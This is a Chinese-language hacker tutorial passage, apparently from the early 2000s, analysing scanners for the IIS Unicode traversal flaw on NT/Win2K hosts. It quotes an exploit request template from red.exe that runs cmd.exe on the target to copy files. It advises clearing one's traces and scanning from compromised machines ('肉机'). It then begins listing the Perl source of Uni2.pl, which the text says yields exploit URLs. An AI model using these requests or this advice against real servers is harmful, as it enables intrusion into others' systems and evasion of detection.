这并不是什么权威教材,只适合菜鸟了解win9x、NT存在的不安全面,切莫
用此方法在国内做尝试,如果你偏要如此,那么由此引起的一切法律后果由
你自己负责。

五、网络里可得到的一些UNICODE扫描程序的分析
1、简单易用的red.exe
操作平台:win9x、NT4、WIN2K
该软件可以在一些中文黑客软件收藏库里找到下载。
red.exe是中国大陆的一位HACK技术爱好者Redp0wer用C++编写的针对某一IP段的
NT主机UNICODE编码漏洞的命令行式扫描工具,该工具扫描速度快,扫描准确。
可以在本地和远程NT肉机上执行扫描工作,并产生一个简单的扫描报告RED.txt
(仅记录所扫描的IP段的NT主机的IP地址)。
该软件对目标NT主机scripts、IISADMPWD、msadc、cgi-bin、_vti_bin目录都做
UNICODE编码漏洞的测试。
如果你仅能在本地机上对某个IP段进行扫描,且是固定IP地址的用户,在使用该
软件时,你须注意你的扫描行为实际上也把你自己暴露给对方。且容易被对方抓
住把柄状告你有入侵行为。我们可以从事件查看器里发现执行的足迹
应用程序日志c:\WINNT\system32\config\AppEvent.Evt
安全日志C:\WINNT\System32\config\SecEvent.Evt
系统日志C:\WINNT\system32\config\SysEvent.Evt
我们分析该软件的源码可以看到:
GET /%s/%s/winnt/system32/cmd.exe?/c%scopy%s%s:\\winnt\\system32\\cmd.exe%s%s\\red.exe HTTP/1.0\n\n
如果从安全扫描工具来说,是不应该对所扫描的目标主机做任何文件的增加和修改。
所以,在你还不知道怎么消除你的足迹和利用肉机来执行扫描时,最好不要利用这
软件作为你的扫描工具。
2、比较全面的UNICODE工具Uni2.pl
只要支持PERL,就可以利用这工具来对目标主机进行UNICODE编码漏洞的扫描。
该程序可以对所有存在UNICODE编码漏洞的NT版本进行扫描测试。以下为该软件
的源程序,具体如何操作就不做详细解说了。
#!/usr/bin/perl
#
# Uni2.pl checks a host for the recent IIS unicode vulnerability
# in 14 different ways. Also gives you the browser URL for the
# exploit. Origionally Stealthmode316, modifications by Roeland
#
#
use Socket;
# --------------init
if ($#ARGV<0) {die "UNICODE-CHECK
Example: ./uni.pl www.target.com:80n";}
#($host,$port)=split(/:/,@ARGV[0]);
($host = @ARGV[0]);
$port = 80;
$target = inet_aton($host);
$flag=0;
